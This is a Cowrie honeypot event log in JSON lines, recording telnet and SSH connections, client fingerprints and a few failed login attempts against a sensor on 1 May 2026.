{"eventid":"cowrie.session.closed","duration":34.082072019577026,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:27.531986Z","src_ip":"194.163.135.148","session":"90c56d05548f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56774,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1e45908a559","protocol":"telnet","message":"New connection: 194.163.135.148:56774 (159.203.135.109:23) [session: f1e45908a559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:29.177576Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56782,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fc81a3eda2a","protocol":"telnet","message":"New connection: 194.163.135.148:56782 (159.203.135.109:23) [session: 4fc81a3eda2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:32.726774Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.37.87.248","src_port":41110,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f92df2828d3","protocol":"telnet","message":"New connection: 41.37.87.248:41110 (10.17.0.5:23) [session: 5f92df2828d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:33.720736Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56786,"dst_ip":"159.203.135.109","dst_port":23,"session":"b93d3dd125ab","protocol":"telnet","message":"New connection: 194.163.135.148:56786 (159.203.135.109:23) [session: b93d3dd125ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:34.778104Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56792,"dst_ip":"159.203.135.109","dst_port":23,"session":"880eb56489ec","protocol":"telnet","message":"New connection: 194.163.135.148:56792 (159.203.135.109:23) [session: 880eb56489ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:35.422122Z"}
{"eventid":"cowrie.session.closed","duration":33.45111107826233,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:42.987383Z","src_ip":"194.163.135.148","session":"3d2408cdd75c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972113609313965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:46.595770Z","src_ip":"194.163.135.148","session":"37cad9df9343","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.147039651870728,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:46.867664Z","src_ip":"41.37.87.248","session":"5f92df2828d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56834,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c07dab892d8","protocol":"telnet","message":"New connection: 194.163.135.148:56834 (159.203.135.109:23) [session: 7c07dab892d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:47.263004Z"}
{"eventid":"cowrie.session.closed","duration":34.73899817466736,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:48.518502Z","src_ip":"194.163.135.148","session":"6b0827f4748c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.41243052482605,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:49.170056Z","src_ip":"194.163.135.148","session":"40462a540261","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56846,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c389abd5286","protocol":"telnet","message":"New connection: 194.163.135.148:56846 (159.203.135.109:23) [session: 3c389abd5286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:49.752474Z"}
{"eventid":"cowrie.session.closed","duration":35.215540409088135,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:50.750489Z","src_ip":"194.163.135.148","session":"9dda913ec83e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31106209754944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:00.488492Z","src_ip":"194.163.135.148","session":"f1e45908a559","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.45662832260132,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:07.183204Z","src_ip":"194.163.135.148","session":"4fc81a3eda2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.66493511199951,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:07.442952Z","src_ip":"194.163.135.148","session":"b93d3dd125ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56940,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c8ce4746b89","protocol":"telnet","message":"New connection: 194.163.135.148:56940 (159.203.135.109:23) [session: 8c8ce4746b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:07.490855Z"}
{"eventid":"cowrie.session.closed","duration":35.103206396102905,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:10.525243Z","src_ip":"194.163.135.148","session":"880eb56489ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":56050,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab42de60b5c9","protocol":"telnet","message":"New connection: 62.182.85.24:56050 (10.17.0.5:23) [session: ab42de60b5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:13.049917Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56960,"dst_ip":"159.203.135.109","dst_port":23,"session":"21aad68809b5","protocol":"telnet","message":"New connection: 194.163.135.148:56960 (159.203.135.109:23) [session: 21aad68809b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:13.106099Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":43680,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e7e7a838936","protocol":"ssh","message":"New connection: 181.65.191.218:43680 (10.17.0.5:22) [session: 9e7e7a838936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:13.419557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:13.424832Z","src_ip":"181.65.191.218","session":"9e7e7a838936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:13.539656Z","src_ip":"181.65.191.218","session":"9e7e7a838936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56966,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee6132e5fa5d","protocol":"telnet","message":"New connection: 194.163.135.148:56966 (159.203.135.109:23) [session: ee6132e5fa5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:13.883088Z"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts","message":"login attempt [ts3/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:14.022809Z","src_ip":"181.65.191.218","session":"9e7e7a838936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:15.137712Z","src_ip":"181.65.191.218","session":"9e7e7a838936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.319183826446533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:18.582071Z","src_ip":"194.163.135.148","session":"7c07dab892d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.918041706085205,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:26.670381Z","src_ip":"194.163.135.148","session":"3c389abd5286","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":40429,"dst_ip":"159.203.135.109","dst_port":22,"session":"db00c95306bf","protocol":"ssh","message":"New connection: 193.24.211.95:40429 (159.203.135.109:22) [session: db00c95306bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:33.550676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:33.702182Z","src_ip":"193.24.211.95","session":"db00c95306bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:33.705841Z","src_ip":"193.24.211.95","session":"db00c95306bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jude","password":"jude","message":"login attempt [jude/jude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:34.163917Z","src_ip":"193.24.211.95","session":"db00c95306bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:35.277013Z","src_ip":"193.24.211.95","session":"db00c95306bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.65903425216675,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:42.149523Z","src_ip":"194.163.135.148","session":"8c8ce4746b89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.117166757583618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:44.166985Z","src_ip":"62.182.85.24","session":"ab42de60b5c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.543355703353882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:44.649343Z","src_ip":"194.163.135.148","session":"21aad68809b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.19.253.160","src_port":13982,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bee43717b4a","protocol":"telnet","message":"New connection: 187.19.253.160:13982 (159.203.135.109:23) [session: 8bee43717b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:46.236829Z"}
{"eventid":"cowrie.session.closed","duration":34.68096470832825,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:48.563914Z","src_ip":"194.163.135.148","session":"ee6132e5fa5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57184,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b2a26d9c81d","protocol":"telnet","message":"New connection: 194.163.135.148:57184 (159.203.135.109:23) [session: 4b2a26d9c81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:54.645303Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57196,"dst_ip":"159.203.135.109","dst_port":23,"session":"03eccd43a7ae","protocol":"telnet","message":"New connection: 194.163.135.148:57196 (159.203.135.109:23) [session: 03eccd43a7ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:10:57.865167Z"}
{"eventid":"cowrie.session.closed","duration":14.740513563156128,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:00.977239Z","src_ip":"187.19.253.160","session":"8bee43717b4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57226,"dst_ip":"159.203.135.109","dst_port":23,"session":"02d322a301c4","protocol":"telnet","message":"New connection: 194.163.135.148:57226 (159.203.135.109:23) [session: 02d322a301c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:02.032458Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":42430,"dst_ip":"10.17.0.5","dst_port":22,"session":"360553aabee8","protocol":"ssh","message":"New connection: 181.65.191.218:42430 (10.17.0.5:22) [session: 360553aabee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:24.554215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:24.558889Z","src_ip":"181.65.191.218","session":"360553aabee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:24.670213Z","src_ip":"181.65.191.218","session":"360553aabee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userinex","password":"userinex","message":"login attempt [userinex/userinex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:25.145625Z","src_ip":"181.65.191.218","session":"360553aabee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:26.259405Z","src_ip":"181.65.191.218","session":"360553aabee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57410,"dst_ip":"159.203.135.109","dst_port":23,"session":"97327d89f608","protocol":"telnet","message":"New connection: 194.163.135.148:57410 (159.203.135.109:23) [session: 97327d89f608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:27.885971Z"}
{"eventid":"cowrie.session.closed","duration":33.369136333465576,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:28.014311Z","src_ip":"194.163.135.148","session":"4b2a26d9c81d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.903029918670654,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:33.768071Z","src_ip":"194.163.135.148","session":"03eccd43a7ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.07845497131348,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:35.110823Z","src_ip":"194.163.135.148","session":"02d322a301c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57436,"dst_ip":"159.203.135.109","dst_port":23,"session":"34c59de1997b","protocol":"telnet","message":"New connection: 194.163.135.148:57436 (159.203.135.109:23) [session: 34c59de1997b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:36.082351Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":47488,"dst_ip":"10.17.0.5","dst_port":23,"session":"831a366db9af","protocol":"telnet","message":"New connection: 103.82.231.165:47488 (10.17.0.5:23) [session: 831a366db9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:39.125137Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57470,"dst_ip":"159.203.135.109","dst_port":23,"session":"55284bed42b8","protocol":"telnet","message":"New connection: 194.163.135.148:57470 (159.203.135.109:23) [session: 55284bed42b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:42.985627Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":41840,"dst_ip":"10.17.0.5","dst_port":23,"session":"022f7a9c0d9e","protocol":"telnet","message":"New connection: 103.82.231.165:41840 (10.17.0.5:23) [session: 022f7a9c0d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:43.524398Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":58548,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb6488019394","protocol":"telnet","message":"New connection: 103.115.172.252:58548 (10.17.0.5:23) [session: fb6488019394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:46.207167Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57508,"dst_ip":"159.203.135.109","dst_port":23,"session":"611cf5e384d7","protocol":"telnet","message":"New connection: 194.163.135.148:57508 (159.203.135.109:23) [session: 611cf5e384d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:11:53.752825Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":46292,"dst_ip":"10.17.0.5","dst_port":23,"session":"b24938b0cf28","protocol":"telnet","message":"New connection: 103.82.231.165:46292 (10.17.0.5:23) [session: b24938b0cf28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:00.423286Z"}
{"eventid":"cowrie.session.closed","duration":33.89465141296387,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:01.780523Z","src_ip":"194.163.135.148","session":"97327d89f608","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75313353538513,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:08.835388Z","src_ip":"194.163.135.148","session":"34c59de1997b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":55132,"dst_ip":"10.17.0.5","dst_port":23,"session":"26bdef145f2b","protocol":"telnet","message":"New connection: 103.82.231.165:55132 (10.17.0.5:23) [session: 26bdef145f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:10.031450Z"}
{"eventid":"cowrie.session.closed","duration":32.38393306732178,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:11.508955Z","src_ip":"103.82.231.165","session":"831a366db9af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.395105123519897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:14.919406Z","src_ip":"103.82.231.165","session":"022f7a9c0d9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.461740016937256,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:16.447250Z","src_ip":"194.163.135.148","session":"55284bed42b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":57552,"dst_ip":"159.203.135.109","dst_port":23,"session":"510884abdc16","protocol":"telnet","message":"New connection: 194.163.135.148:57552 (159.203.135.109:23) [session: 510884abdc16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:12:19.830446Z"}
